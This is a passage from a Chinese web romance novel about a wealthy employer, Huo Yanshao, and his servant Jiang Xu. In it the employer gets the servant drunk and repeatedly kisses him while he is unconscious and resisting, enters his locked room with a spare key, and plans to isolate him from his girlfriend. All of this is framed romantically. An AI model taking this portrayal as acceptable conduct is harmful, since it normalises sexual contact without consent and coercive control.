他不可思议地摸了摸自己的嘴,又看了看像是醉得不省人事的雇主,他怔愣了许久,良久后,才有种后知后觉的荒缪像是排山倒海般袭来。 嘴对嘴,不就是是亲了吗?!! 他和一个男人亲了!!! 姜胥震惊。 姜胥不可置信。 姜胥崩溃。 他本来就心心念念着今晚要和女朋友更进一步,虽然知道女朋友性格腼腆他也不敢太过越界,可心里也是想着能亲一亲抱一抱的。 谁不想干干净净地把初吻交给初恋女朋友呢,可谁曾想啊,他还没和女朋友亲成呢,却莫名其妙地和一个男人嘴贴嘴了! 9. 豪门契约文里的白眼狼老男人佣人9 姜胥只觉得自己整个人都要裂开了,不断地用手背来回擦拭着嘴唇,试图将嘴上那萦绕着酒气的气息给彻底抹掉,嘴里还不断念叨着晦气晦气。 “晦气?” 低沉含笑的声音蓦然响起。 姜胥瞳孔骤缩,手上的动作霎时停住,他咽了咽口水,缓缓扭过头看向一旁,看向声音的方向。 黑漆漆的,什么都看不清。 可声音却是实打实的。 姜胥脑子有些混乱,拼命地想着对方是不是真的喝醉了,刚刚是不是一直醒着,他眼珠子咕噜噜地转着,声音里带着一丝不易察觉的紧张,“……先生,你醒了?” 没有回应。 灯却啪一声亮了起来。 暖黄的灯光洒落在床的四周,不算刺眼,但也能让人一眼就看清楚整个房间的状况。 那以为已经睡着了雇主不知道什么时候已经坐起来了,男人懒散地倚在床头处,温和的面上看不出太多情绪,只是看着自己。 “嗯,被吵醒了。” 男人眼神清明,语气平常,完全没有没有喝醉酒的人说话的模糊不清,说完后,他笑了笑,又耐心重问了一遍,“怎么晦气了?” 被幽幽的目光笼罩着,姜胥喉咙发干,他眼神飘了飘,咽了咽口水,说出口的话也有些飘忽,“没什么,就是刚刚摔了一跤,觉得有些倒霉,有些晦气……” “那过几天我带你去寒山寺拜一拜吧,听说哪里的主持很灵验。” 姜胥:“……” 原来有钱人也这么迷信的吗? 他敏锐地没有接话。 而是开始转移起话题,很是贴心地问,“先生醒了,是不是觉得头疼啊?我现在就给先生猪一碗醒酒汤,喝完先生也好早点休息。” 他说得急急忙忙,也不等雇主回复,说完后就直接起身推门出去,门砰地一声被关上,整个人都透着一股心虚的慌乱。 霍延邵看着他离开,眼眸微眯,懒散地揉了了眉心。 就像姜胥猜的那样,他的确没有醉,名利场上少不了酒水助兴,可也没几个人是敢对霍延诏劝酒的。 但身上难免沾了酒气。 霍延邵起身进了浴室。 等到他从房间里出来的时候,醒酒汤已经煮好了,也盛好了放在餐桌上,冒着热气。 姜胥安静地站在一边看着雇主喝醒酒汤,不着痕迹地观察着雇主的脸色,注意到雇主脸上并没有不满的情绪后,才微微松了口气。 醒酒汤喝完了, 姜胥进厨房收拾东西。 出来后,就注意到餐桌上摆着几个餐盒,餐盒已经被打开,每个餐盒里都盛着一个菜,原本坐在餐桌旁的雇主已经不在了。 “陈姨说你还没吃晚餐。” 声音从客厅那边传来。 姜胥的确是还没吃晚饭,在盛园工作的佣人晚饭是统一安排在楼下吃的,但姜胥一觉睡了很久,也错过了晚饭……所以这些都是给他准备的? 这工作待遇还挺好的。 姜胥喜滋滋地吃了起来。 边吃着还边瞅了眼食盒包装袋上的店铺标志,他眼珠子一转,从口袋里掏出手机对着包装袋拍了拍,然后在网上搜了起来。 归园? 没有外卖的私家菜坊。 看着店铺里那一道道菜令人咋舌的价格,姜胥只觉得自己像是在吃金子,他有些食不知味,但筷子夹菜的速度还是很诚实地快了起来。 把几个食盒的菜统统吃完后,姜胥开始收拾餐桌上的东西,等做完一切后他关了餐厅和厨房的灯,打算回房间洗澡休息。 往回走的时候,发现吧台方向的灯亮了起来,姜胥走近一看,就看到了雇主。 雇主显然是已经洗漱过了,高大的躯体被一件单薄的浴袍草草裹着,浴袍松松垮垮地系着,露出紧实的腰腹,骨节分明的手里拿着一杯缀着冰珠的酒,正漫不经心地喝着。 还喝酒? 不会自己等会儿还要给他煮醒酒汤吧,姜胥拧了拧眉,欲言又止。 似乎已经注意到佣人的目光,男人沉沉地视线落在对方身上,被这抹视线笼罩着,姜胥脸上笑容有些僵。 他礼貌地欠了欠身,正想转身离开,却听见身后传来含着淡淡笑意的声音。 “过来。” 姜胥脚步一顿。 指尖动了动,抬脚走了过去。 “先生。” “会喝酒吗?” “会的先生。” 姜胥自觉这话很谦虚。 他在村里的时候经常就和人在外边混,也是会喝酒的,红的白的黄的他都喝过,在喝酒方面姜胥很有自信。 “那行,陪我喝个酒吧。”霍延邵挑眉笑了笑,整个人少了几分距离感,多了几分轻松随和,“你要喝那个我给你倒,还是说我给你调一杯?” 姜胥眼睛一亮。 立即看向吧台后那一整墙的酒,目光在各色各样的酒瓶上巡视着,想要找出一瓶他喜欢的,可他对这些酒的接触少,看来看去也不知道要选哪一瓶。 这些酒他都想尝一尝,就算不能全部都尝也想尽量可以多尝几种,毕竟像今天这种机会可不常见。 所以他想了想,姜胥抿唇笑了笑,看起来很老实,语气也诚恳,“那还是麻烦先生帮我调一杯吧,这些酒我都不认识。” “好,那我给你调一杯。” 像是没察觉出佣人那点浅淡心思,霍延邵好脾气地应下了,他起身来到吧台前,取了几种酒就开始调了起来。 跟着辉哥他们混在一起,这些天姜胥也去过几次酒吧,所以也是亲眼演过酒吧的酒保们调酒的,他们指尖灵活地在调酒杯间穿梭,搭配着身体的扭动,一举一动都充满着挑逗的色气。 而霍延邵却不同。 他指尖同样灵活,可却没有太多花里胡哨的动作,眉目温和沉静,看起来干净利落。 很快,一杯酒就调好了。 粉蓝色调的酒里还点缀着一片金黄的柠檬,看起来有些少女的梦幻,姜胥看着被推到自己面前的酒,只觉得这杯酒有些娘们唧唧的。 他有些不满意。 但免费的酒也没啥好要求的。 接过酒喝了一口,只觉得一入口甜滋滋的,虽然后面也有些酒味,可尝起来完全没有在老家喝过的那些白酒的烈性。 这算什么酒。 姜胥有些嫌弃。 “好喝吗?” 霍延邵洗着手,慢条斯理地问。 好喝是好喝的,但尝起来就是小甜水味的饮料,根本尝不出是酒,姜胥想直说,可又想到这是雇主亲手调的酒,直说又好像是不给雇主面子。 所以他想了想,只能违心夸道,“好喝,喝起来甜甜的,先生手艺真好。” 霍延邵挑眉,看着几口就喝了一大半的人,眼里浮现出几缕隐晦的笑意,他提醒了一句,“别喝那么急,小心醉。” 小甜水怎么喝地醉。 姜胥笑笑,没了醉酒的警惕,像是为了应和自己说的话似的,他毫无防备地一口接一口,很快就将一整杯都喝光了。 喝完后,就见已经洗干净手的雇主开始整理吧台上的东西了,姜胥作为佣人的职业素养立即敲响了警铃,忙绕到了吧台里侧, “先生,让我来收拾吧。” 他手脚麻利地收拾着吧台上用过的杯具,然后一一放在洗杯器上清洗,动作娴熟认真。 霍延邵从善如流地让他接过自己刚刚的工作,却也没有离开,反而是坐回来原来的位置,执起酒杯有一口没一口地喝着刚刚没喝完的酒,眸光偶尔回落在吧台里侧正清洗着酒杯的身影身上。 姜胥洗着杯子,每一个动作都做得小心翼翼,生怕自己一个滑手就把杯子给摔破了。 毕竟他有听陈姨提过,这里的杯子每一个都价值不菲,要是不小心地摔了一两个,那么他整整一个月的工资就全都打水漂了……这样想着,他洗地更加全神贯注了。 可洗着洗着,姜胥就觉得有些热了,他蹙了蹙眉,怀疑是不是房间里空调开得太高了,但也没太在意。 洗完后,正一一把杯具摆回架子上,可还是觉得越来越热了。 姜胥用手背碰了碰自己的脸颊,只感觉到一片热意,紧接着,脑子也逐渐开始晕乎乎,只觉得自己整个人轻飘飘的,眼前的杯架像是长了腿一般七扭八歪。 ……自己这是醉了?从没喝醉过的姜胥后知后觉地意识到这一点。 可意识到这点的时候也有些迟了,眼前的景象也开始变得东倒西歪,他手里还攥着的酒杯随着指尖逐渐放松的力度而逐渐滑落,最后彻底脱离的指尖的束缚掉了下去。 酒杯在地面上弹了几下,最后猝然裂开,发出来刺耳的破碎声。 姜胥这时意识还清晰,他心里暗暗喊遭,想要弯腰看看,可身体却像煮熟了的面条一般怎么也站不住,整个人控制不住地往下滑落,意识也开始模糊不清了起来。 “……呃。” 眼看着就要着地,一个手臂轻易就将快要软倒在地的人捞了起来,霍延邵一手将人揽在怀里,垂眼打量着怀里的男人,随后将手里的酒一饮而尽。 喝完酒,霍延邵放下杯子,他捏着男人下颚,眸光流连在对方的面上。 在京都生活了几个月,每天吃好喝好,男人看起来已经不像之前那么瘦弱了,脸颊已经有了肉,脸也比之前多了几分血色,人也显得比之前精神了许多。 似乎已经彻底醉了。 玉白的脸颊逐渐爬上绯色,眼尾薄红。 那双常带着浅薄算计的眼眸似蒙上了一层薄薄的水雾,因为醉酒而越发艳丽的唇瓣翕动间,喷洒出来的气息滚烫温热,还带着淡淡的酒气。 他完全没了力气,腰肢被强有力的臂膀禁锢着,整个人几乎是窝在了高大的雇主怀里,全然没了平日里时不时冒出来的不忿和桀骜,显得格外地温驯听话。 霍延邵笑了笑,指腹摩擦着滚烫红润的唇,目光从唇至下巡梭着,眼神里少了一些平日的温和,多了几分玩味肆意。 少顷,他喉结滚动,垂眸吻了下去。 微翕的唇被彻底堵住,已经醉地彻底失去意识的男人显然是觉得不舒服,本来一双温驯垂下的手也动了起来,不断地推拒着逐步紧逼的胸膛。 可喝醉的人有什么力气呢。 如同蚍蜉撼树一样,完全撼动不了半分,那双手推了又推,指尖都开始泛起了红意,但随着越愈发逼近的胸膛,只能委屈地楼上了欺负自己的人的脖颈,最后搭在雇主的肩上无力垂落。 辗转,研磨,长驱直入……呜咽声在唇齿间溢出,可怜的佣人显然是不舒服极了,可怎么推也推不掉,手也不听使唤了,只能不住地转着头,似乎把那个折磨着自己嘴巴的东西给撇掉。 可哪有那么容易。 后脑勺被大掌彻底控住,唇上的欺负的力度越来越重了,从唇齿溢出来的呜咽声逐渐带上了哭腔…… 不知过了多久,呜咽声才停下。 佣人显然是被欺负惨了。 瘫软地窝在雇主身上的佣人服依旧齐整,可眼尾的红晕愈发加深,本来就蒙着水雾的眼眸更是泪眼迷蒙,红润的唇瓣微微发肿,翕动间呼吸急促,一片艳丽。 雇主身上浴袍散乱,呼吸也有些重,他低声笑了笑,眼带侵略性地望着怀里沉沉睡去的佣人,平复了一下。 随后,就如同抱孩子一样托着屁股将人整个抱了起来,抱回了佣人住着的房间。 那装着一百万的卡是姜胥全部家当里最宝贵的东西,所以在知道自己被调到盛园工作不能经常回出租屋后,他也把藏在出租屋保险柜里的卡取了出来。 他住的房间里头是没有保险柜的,所以他只能买了把锁,把卡锁在房间里的一个抽屉里,然后每天无论是出房间在外待多久都会锁门,就生怕有人进了房间发现了他的卡。 但显然作为房子的主人,这一道房间的门是挡不住他的,霍延邵轻易就用备用钥匙打开了姜胥住的房门,抱着人就直接进去了。 打开灯后,他把醉酒的人放在了床上,却没有立即离开,而是盯着蜷着睡着的男人看了一会儿,他没有立即离开,而是意犹未尽地压着人再次吻了下去。 熟悉的呜咽声回荡在房间里。 片刻后,才消失。 霍延邵整理着已经散乱敞开的浴袍,目光漫不经心地扫视着房间里的一切,最后看了眼因为衣服少而显得有些空荡荡的衣柜,随后才关灯离开…… …… “嘶……” 一夜宿醉,醒过来后头疼欲裂。 姜胥从床上爬了起来,也顾不得看手机上的时间,只用手不断地拍打着额头,试图用这种方式缓解一下头痛头晕。 扣扣扣。 “小姜醒了吗?” 门外传来敲门声和陈姨的声音。 姜胥回过神,看了眼手机。 已经九点半了! 他心里一慌,也顾不得头痛头晕了,忙一骨碌地从床上爬起来,然后手忙脚乱地打开了房门,连忙对着人解释,“抱歉陈姨,昨晚我喝醉了,所以今天就起晚了……” “没关系,早上先生已经提醒过我了,说你昨晚喝醉了,还给你放了上午的假。” 陈姨目光划过姜胥的脸,面上没有流露出一丝一毫的异样,依旧慈和。 “有觉得头痛吗?先生让我准备了药,还是先吃个药吧。还有早餐厨师也已经准备好了,先吃了再睡吧。” “好好好…谢谢陈姨。” 姜胥松了口气,连忙应下。 他现在头真的很痛,还真的需要吃点醒酒药缓一缓。 知道雇主已经去工作了,姜胥也没心思整理自己,他简单地刷了牙就吃了药吃了早餐,吃完早餐后又钻回了房间,想着打算再睡一个回笼觉缓一缓头痛。 又睡两个小时,醒来的时候已经快十二点了,这时候姜胥头已经不痛了,可才扯唇笑了笑,又感觉到一阵细微的痛意从自己嘴上传来。 姜胥愣住。 他伸手摸了摸自己的嘴,果然就感觉到传来的细微痛意更加剧烈了,怎么回事,嘴巴上怎么会这么痛啊。 他眉头拧起,来到洗手间镜子前认真检查着镜子里的自己。 宿醉一夜,即便是补觉了两个小时,镜子里的人状态也没有完全恢复过来。 没有梳理的头发乱糟糟,身上昨晚没有换下的佣人服也潦草地全是褶皱,眼眶里分布着宿醉导致的红血丝,而最显眼的是嘴上那过于显眼的唇。 怎么回事? 姜胥左看右看仔细端详着自己的嘴,心里有些百思不得其解,难不成是自己昨晚喝醉了发酒疯然后摔到了碰到嘴了?还是说蚊虫多了被蚊子咬了? 姜胥脑子乱糟糟。 有些想不明白。 他拍了拍脑袋,试图让自己回忆起自己昨晚喝醉酒后发生的事,可记忆里一片空荡荡,什么也没能够想起来。 他冥思苦想,从昨晚喝酒开始一一梳理脉络,喝酒,喝完酒后洗杯子,洗杯子的时候他发热,然后头晕,然后……杯子掉了,碎了。 杯子掉了,碎了! 他摔碎了一个很贵的杯子。 姜胥瞪大眼睛。 忙从房间出来来到吧台处。 吧台上干干净净,昨晚他还没收拾干净的酒杯显然已经被人收拾好了,地上也没有任何一粒玻璃碎屑的影子。 见他这副急躁的样子,正整理着客厅的陈姨心下了然,她笑了笑,“不用找了,先生说了,昨晚你摔碎的那个杯子不用你赔。” 不用赔? 那还好还好。 姜胥彻底松了口气。 他又和陈姨说了几句,随后转身回了房间,收拾了几件衣服后进了浴室。 …… 夜幕降临,帝都的喧嚣越发浓烈,顶尖的娱乐会所内灯火璀璨。 酒气在包间里弥漫着,渲染着纸醉金迷的氛围,漂亮的男男女女们衣着鲜亮,倚靠在权贵的身旁语笑嫣然,成了名利场上的最艳丽的点缀。 顶级包间里。 “我这次在国外见着霍延季那小子了,好家伙,追着我打枪,嚣张地不得了。” “你真不打算把霍延季给逮回来?国外可是他的大本营,阿诏,你这可是放虎归山。”宋泽琅将手里的烟熄灭,直白地说道。 谁不知道霍延季的母亲,霍老爷子的第三位太太出自国外的大家族啊,与其说霍延季是夺权后流放国外,还不如说是逃回了大本营呢。 “那小子做事没讲究,下手毒,你这回没彻底解决了他,他以后就一定会像条毒蛇一样死死地盯着你。” 放虎归山的道理霍延邵当然明白,可明白归明白,却不打算做什么,毕竟霍延季还算不上虎,而且他还有用。 得,这是还有后手呢。 宋泽琅心里了然,也不再多嘴。 正事很快就说完,包间门被打开,几个漂亮的男男女女从包间外走进来,脸上还带着一丝玩乐过后的兴奋。 这些都是包间里的人带过来的男伴女伴,因为有正事要聊所以他们就被安排在其他地方玩了一会儿,他们有是男女朋友关系的,也有是单纯的金钱关系的……但无论如何,都是你情我愿的关系。 一个长相元气可爱的男生在宋泽琅身边坐下,宋泽琅边和霍延邵说着话,指尖就悄无声息地钻进了男生的衣服里。 不一会儿,男生就脸色潮红,身子发颤。 宋泽琅的动作并不算隐秘,甚至可以说的上是肆无忌惮,直到霍延邵淡淡地扫了他一眼,他才百无聊懒地把手从对方衣服里抽出来,全然不顾身边那已经弓着身子像猫咪一样低低喘息的男伴。 抽出的指尖带着粘腻,宋泽琅眼里划过嫌恶,他漫不经心地抽了一张纸将手给擦拭干净。 “我刚刚在外头看见阮栀了,她还向我问你在哪里来着……”他语气顿了顿,戏谑的语气里带着探究,“之前你家老爷子不是还传出要和阮家联姻的消息吗?怎么,你真的要和阮栀结婚?” “你很好奇?” “当然好奇啊,你要是真的娶了阮栀,那我们这些人对阮家的态度就要变一变了。”宋泽琅说得直接。 在京都,霍家宛如一个庞然大物一样处于金字塔的最顶端,底下附庸着无数小家族,就像参天大树下的小动物,仰赖着霍家的庇护和养分而发展着自己。 霍延邵是如今的霍家家主,他未来的妻子就是霍家的主母,倘若阮栀真的嫁给了霍延邵,阮家成功搭上了霍家这条线,那么无论愿不愿意,他们这些家族掌权人和身后的家族对阮栀和阮家的态度都要变一变。 “那就保持吧,不用变。” 这话让宋泽琅了然,他耸了耸肩,开起了玩笑,“啧,我知道你不喜欢她,但起码也不讨厌吧,我真的觉得你娶了她也不错的。” “毕竟都是一个圈子的,以后结婚也有话题,而且她一直都喜欢你,陆家势弱,即便你以后在外面怎么样她也管不住你……也是个挺好的联姻对象的。” 宋泽琅实话实说。 像他们这样的人娶妻说讲究也讲究,说不讲究也不讲究,男女双方,哪家势大哪家做主,不想受伴侣管束的一般也是在圈子里向下兼容……总的来说来说,在同一个圈层里都不算出格。 这话一出,包间里很快就响起了其他人的呵笑声,有人扬声笑道,“你觉得这么好,那你可以娶,她肯定不会在意你在外头养的这些小情人的,到时候就是家里红旗不倒,家外彩旗飘飘。” 包间里哄堂大笑。 宋泽琅白了说话的人一眼,“胡说什么呢你,人家喜欢的是诏哥,又不是我,我娶什么娶,而且老子喜欢男的,男的!” 而且说得好像他愿意娶阮栀就愿意嫁一样。 谁不知道陆家阮栀已经喜欢霍延邵喜欢十几年了,虽然是暗恋但暗恋得人尽皆知,霍老爷子之前还想让霍延邵和阮栀订婚了,也就是之后霍家出了那档子事后这件事才被喊停的。 “所以你就这么确定我就喜欢女人?” 宋泽琅调笑着,冷不丁地就听到了这样一句话,等到意识到是谁说的后,他喉咙一窒,喝进嘴里的酒都险些要吐出来了。 他也顾不上狼狈,转头就看向霍延邵,对方正慢条斯理地喝着酒,脸上并没有太多的情绪,似乎刚刚那句话只是他随口一说的玩笑话。 可了解好友的宋泽琅显然不能将这话当做玩笑,他放下手里的酒,若有所思地看着对方。 “怎么?有人了?” 霍延邵懒懒地瞥了他一眼,没说话。 宋泽琅挑眉,识趣地不再多问。 而包间里其他人也没有就着这个话题讨论太久,毕竟宋泽琅能提那是因为他是霍延邵多年的朋友,其他人可不敢提霍家这位的这些事,很快就有人识趣地转移起了话题。 酒过几巡,霍延邵看了时间,起身准备离开,宋泽琅几杯酒下肚这时候也有些醉醺醺了,看他要离开,眯了眯眼,总有些纳闷。 怎么这么早就回去了? 总不会家里真的藏了个人吧。 …… 樽誉这个时间正是热闹的时候,来往客人并不少,霍延邵本打算从VIP通道直接下停车库,可还没下到车库,就碰到了从酒吧出来的阮栀。 不同于寿宴那一日的落落大方,阮栀一袭红裙,修身的裙子衬着身姿曼妙,披散的头发落在裸露肩颈上,明媚又妖娆。 身边正跟着几个朋友,她见到霍延邵,脸上也流露出几分意外,“三爷,好巧。” 霍延邵点点头,直接往外走。 阮栀脸色微变,快速笑得和几个朋友道别,然后攥紧手提包就跟了上去,“三爷,能不能麻烦你带我一程,我家司机路上出了点小事故,今天应该是过不来了。” 这话没有让霍延邵没有停下脚步,他淡淡地瞥了眼阮栀,随后开口让一个保镖留下,让保镖送阮栀回去后就直接上了车。 黑色宾利砰地一声关上门。 紧接着就直接开走了。 几乎被完全无视的阮栀脸色有些难看,指尖也攥地发白,似乎已经注意到被留下的保镖那隐隐打量的目光,她努力维持着表面的从容,抬脚就上了保镖的车。 阮栀没有回家,而是思虑了片刻后,又转身去了附近最大的食品超市买了食材煮了新鲜的滋补汤。 等到第二天一早,她用保温桶装着,提着汤来到了京都郊外的疗养院。 疗养院距离京都市中心不算近,就连驾车也需要两个小时,百望山一带山清水秀,空气极佳,山顶上是香火极好的寒山寺,山脚下则是有名的疗养院。 霍老爷子就被送到这地方疗养。 “霍叔,我又过来看您了。” 阮栀提着保温桶进来。 房间里除了霍老爷子还有一个护工,霍老爷子年过六十,头上已经有了白头发,眉心有常年皱出来的竖纹,虽然已经年老,但周身依旧有身处高位多年的威严。 见是阮栀,他语气温和,“怎么又过来看我这个老头子了,今天不用上班吗?” “还好,今天公司没什么大事,做完事我就过来了。”阮栀温声解释,让护工拿碗筷过来,她亲手把汤盛了出来让老爷子喝。 喝完汤,阮栀又陪着老爷子在外面走了走,边走着还边说了一些最近圈子里发生的一些事。 霍老爷子听着,脸上的神色又温和了几分,“阿诏最近怎么样?你们的婚期打算安排在什么时候?” 阮栀顿住,没说话。 霍老爷子没察觉到阮栀的情绪不对,依旧兴致勃勃,“怎么,是还没安排好日子吗?要是不行的话我就去庙里让大师傅们算个好日子,不过还是要挑一个近一些的日子……” 阮栀垂眼,还是没说话。 这样不对劲的态度很快就让霍老爷子意识到了什么,他脸上的高兴逐渐褪去,眉目一凛,额角突突突直跳,“说,出了什么回事!” 阮栀脸上的笑多了几分苦涩,“霍叔,要不然这个婚约就算了吧,邵哥他本来就不喜欢我,这个婚约也不过是我强求来的……” 说着说着,她眼眶有些发红。 霍老爷子混浊的眼神陡然变得锐利起来,他以拐杖击地,胸口起伏不定,片刻后,他看向身后的护工,语气带着狠意,“给我拨霍延邵的电话,让他立刻过来见我——” “霍叔别急。”阮栀脸色变了变,立即安抚住了霍老爷子的动作,“毕竟婚事是我和他的大事,其实我还是更想先和邵哥认真谈一谈。” 她语气顿了顿,语气多了几分认真,“而且我和邵哥这些年也没怎么相处过,也没培养出多少感情,这么突然就被安排了一个婚约,邵哥对我不满也很正常。” 这话让霍老爷子想要联系霍延邵的心思淡了下来,作为父亲,他当然也了解几个儿子的性格了。 霍延邵是他最出色的孩子,年纪轻轻就力压一众人,成功地接过了他手中的权柄,而霍家这些年也在他的带领下褪去了陈腐,辉煌更盛以往。 这样的继承人让他觉得骄傲和自豪。 可在骄傲自豪的同时,也不得不承认,这个孩子也是几个孩子中他最难掌控的孩子,他的确不会因为自己这个父亲的安排就轻易地接受一个没有任何感情的妻子。 霍老爷子思忖了一下,问道,“那你是怎么想的?” “我想和邵哥多相处一段时间,看看能不能培养一下感情,要是最后实在不行的话,那两个人还是不能勉强的。”阮栀掩下眼底的深意,说出自己的想法。 霍老爷子点点头,这样也好,一个是自己最骄傲的孩子,一个是这几年自己比较看中的小辈,两人要是相处多有了感情,结婚就是水到渠成的事了。 “阿邵不怎么回老宅,一般都是住在盛园。”老爷子握住拐杖,想想,觉得要想处出感情两人也不能离得太远,“我在盛园那边还有一套房子,距离阿邵住的地方也比较近,你先搬过去住一段时间吧。” “好的,谢谢霍叔。” 目的达到,阮栀心底泛起细密的喜意,她又在疗养院里陪着老爷子说了一会儿话后才离开疗养院。 阮栀的动作很快。 第二天,她就搬到了盛园。 只是盛园虽然是楼房,可毕竟是处于京都市中心这个寸土寸金的地方,安全管理也很严格。 整个楼房每一层都是独门独户的,阮栀只是其中一层的住户,在没有权限的情况下一般业主是没有办法去到其他楼层上的。 “姜哥,你脚下这双鞋应该是大牌子吧,我之前在网上看到过,买得可贵了,都能够顶得上我几个月的工资了,你自己买的吗?” “很贵吗?这是雇主统一安排的,家里其他工作的佣人都有,说是工作福利,我也不知道要多少钱?” 姜胥满身大汗,他停下脚步低头看了眼自己脚上的鞋,显然对对方嘴里说的价格有些意外。 说话的是一个年轻的小伙子,同样满头大汗,他也停下来喘着气,目光一直落在姜胥脚下那双鞋上,脸上全是羡慕。 “可贵了,我在网上看了,就这么一双鞋要是正品的话要好几万呢。” 好几万。 姜胥有些咋舌。 这是鞋还是金子啊。 小伙子取下肩上的毛巾擦着汗,边擦着还边低声说话,“哥,你那雇主是做啥的这么有钱,你这身上穿的戴的可都 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姜胥被他殷切的语气捧地有些飘飘然,“我也不知道雇主是做什么的,只知道他姓霍,家里很有钱,不仅在盛园有房子,还有一个很大的庄园。” “不过最近也没听说要招人的消息,厨师保镖司机都是有的,要是到时候有招人消息的话我通知你一声吧。” “哎,谢谢姜哥,来,姜哥喝水。”小伙子喜笑颜开,忙将手里已经拧开的水递了过去。 姓霍? 耳朵十分敏锐地抓住了这个霍字,阮栀立即转过头朝着说话的方向看了过去,只看见两个穿着运动服,满头大汗的男人正一前一后地走着,边走着边喝着水,说说笑笑。 她勾起笑,几步来到了两人面前,“你好,请问一下你是霍延邵家的佣人吗?” 看着出现在自己面前的陌生女人,姜胥愣了一下,反应过来后立即点点头,面上维持着做佣人的恭敬,“是的,我是霍先生家的佣人。” 阮栀面上带着笑,“我是新搬过来的业主,家里和霍家也算是世交,过来的时候霍老爷子让我上门看一看霍先生,我想请问一下你可以带我上去吗?” “抱歉这位小姐,没有雇主的同意我是不可以私自带人上去的。要不这样吧,我给雇主打一个电话,要是征得了雇主的同意,我就带你上去可以吗?” 姜胥有些为难,可看着对方恳求表情,他还是想到了一个相对比较折中办法,毕竟无论如何,没有雇主的首肯他是不可能让外人上楼的。 阮栀脸上有些失望,想了想,最后还是摇摇头拒绝了,“那还是不用了。” 姜胥放下手机,面露怀疑。 阮栀眸光微闪,扯唇笑了笑,脸上多了几分勉强,解释道,“我是按照霍老爷子的吩咐过来的,最近老爷子和霍先生闹得有些难看,我想霍先生应该不会愿意见我的。” 想到之前才庄园寿宴上听到的事,姜胥心里了然,有钱人为了争夺财产闹得不可开交,老爷子有四个儿子,一个儿子死了一个儿子被流放到国外了,可不就是心里有疙瘩了吗。 姜胥心里嘀咕,却也没多管闲事,他取过一旁的毛巾擦了擦汗,正转身想要离开,却听身后传来了声音。 “你好,这位……姜先生,我能不能和你加一个联系方式吗?”阮栀面带无奈地解释,“虽然闹得难看,但毕竟霍老先生和霍先生还是父子,血浓于水。” “老爷子如今在疗养院,身边也没几个亲人陪着,也只有我经常去疗养院看看。我没有霍先生的联系方式,想着要是出了什么状况,可以让你代为转告一下。” 这样啊,倒也可以。 姜胥答应了。 两人很快交换了联系方式。 姜胥休息了一会儿,然后往回走,想到再过几天就是女朋友生日了,他已经准备好了礼物了,那是女朋友前段时间心心念念的东西,想到媛媛会因为自己送的礼物而开心,姜胥心里就欢喜,回去的时候也难□□露几分。 “什么事你这么高兴?” 霍延邵正坐在客厅里,抬眼就看到了姜胥脸上的笑,他眯了眯眼,随口问道。 姜胥收敛了情绪,脸上的笑也变成了佣人们常带的礼貌笑意,“没什么,只是想起来一些比较开心的事罢了。” 想到这周六就是女朋友的生日了,姜胥犹豫了一下,还是问道,“先生,我想问一下这周六我能请一天假吗?” 霍延诏眼睛微眯,也没说可不可以,只是平静地问,“理由?” 还需要理由吗?他都工作多久了,想要休息一天理所应当吧,虽然说这份工作待遇什么都很好,可和雇主生活在同一个空间里的压力也是很大的。 姜胥暂时还没想好借口,只能如实道,“这周六是我女朋友的生日,我和她交往没多久,想陪她一起过这个生日。” 说这话的时候,姜胥眼睛有些亮,脸上的笑意也比原来真切了许多。 ……怎么看怎么不舒服。 霍延邵没说话了,良久后,才意味不明地问,“连个生日都想陪她过,你就这么喜欢她?” 既然是女朋友,他当然是喜欢的啊?姜胥心里嘀咕,还是诚实道,“她是我女朋友,我当然喜欢。” 而且还是大龄三十才交了个初恋女友啊。 雇主又不说话了。 姜胥有些不解。 请个假怎么这么艰难呢。 他正想再请求一下,却听见雇主同意了自己的请假要求,他愣了愣,立即喜笑颜开。 “谢谢先生。” “不客气。” 霍延邵看着眼前这个丝毫不掩饰自己心里愉悦的雀,眉骨轻挑,唇角勾起一抹弧度,看来只有没了主人,他想豢养的雀才会全心全意、心甘情愿地待在新主人为他准备的笼子里。 陈姨看了眼面带冷色的雇主,又看了眼什么都没有察觉的姜胥,脸上有些复杂。 但犹豫了一会儿,她还是没说什么,只是心里叹了口气,随后道,“小姜,你衣服都湿透了,还是先回房间洗个澡吧。” “哦,好的,我现在就去。” 姜胥无法察觉陈姨面上的复杂,只以为她是在关心自己,应下后同雇主礼貌地欠了欠身,然后就进了自己的房间。 和之前空荡荡的房间不同,一个月过去,这个房间里的东西开始逐渐多了起来,各种鞋子衣服将整个衣柜塞地满满当当的,房间的一侧也装上了游戏电脑…… 回了房间,姜胥一头扎进了浴室,洗澡洗头后整个人都清爽了不少,他吹干头发换上新的衣服,不经意抬头看向镜子里的自己,一时就有些愣住。 镜子里的男人穿着剪裁适宜的衣服,皮肤白皙,头发顺滑,眼里带着浅浅的笑意……完全看不出几个月前为哥嫂张罗完丧事后的沧桑模样。 ……感觉自己变了很多。 正想着,电话突然响起,特殊的铃声让他脸色微变,姜胥犹豫了一下,还是点了接通…… 挂了电话,姜胥仰躺在床上。 他怔怔地看着天花板,只觉得心里第一次这么乱,躺着躺着他又坐了起来,开始环顾着这房间里的一切。 这个房间本来是不住人的。 搬进来的时候虽然有床有柜什么都有,可他那一点点的行李只能放满衣柜里的一个小角落,所以在最开始的那一周的时间里,整个房间都是空荡荡的。 虽然空荡荡,但姜胥也很喜欢。 他从来没有住过这么大这么好的房子,也没有睡过这么软这么舒服的床……所以在第一天住进来那晚上,他都差点失眠了。 小侄女很关心自己,他搬过来的那晚她就立即给自己打量视频电话,在视频通话过后也觉得这个房间很大很空。 但他那时是怎么说的来着:“毕竟只是暂时住一住而已,要是东西多了还不好收拾呢。” 可这房间里的东西是在什么时候多起来的? 其实姜胥有些不记得了。 或许是因为自己偶尔不穿佣人服下楼逛一逛,因为身上老旧的衬衫还有脚下洗得有些开胶的运动鞋而被其他人嘲笑的时候。 从那时候开始,顶层几乎每周都会有衣服送过来,不仅自己有,陈姨、厨师、司机、保镖他们都有。 姜胥不知道其他人有多少,只知道自己房间里那本来只被占据了其中一个角落的衣柜很快就被填满了。 电脑是什么时候装的? 好像是上一周。 虽然三十岁了,但他还是喜欢玩游戏,手游不过瘾,他喜欢玩端游,哥嫂家里也装了电脑,基本就是他自己一个人玩。 房间里没有电脑,但大平层客厅的电视是连网的,可以打游戏,所以他偶尔会趁雇主和陈姨都不在的时候打游戏……然而打了几次后,发现自己住的房间里也装上电脑了…… 所以慢慢的。 房间里的东西就开始多了起来。 不仅仅是房间…… 姜胥又躺了下来。 虽然说佣人一般都在楼下用餐,可其实很多时候他都是和雇主一起吃的,无论是食材还是菜式都是最好的,偶尔雇主应酬回来还会给自己和陈姨带夜宵…… 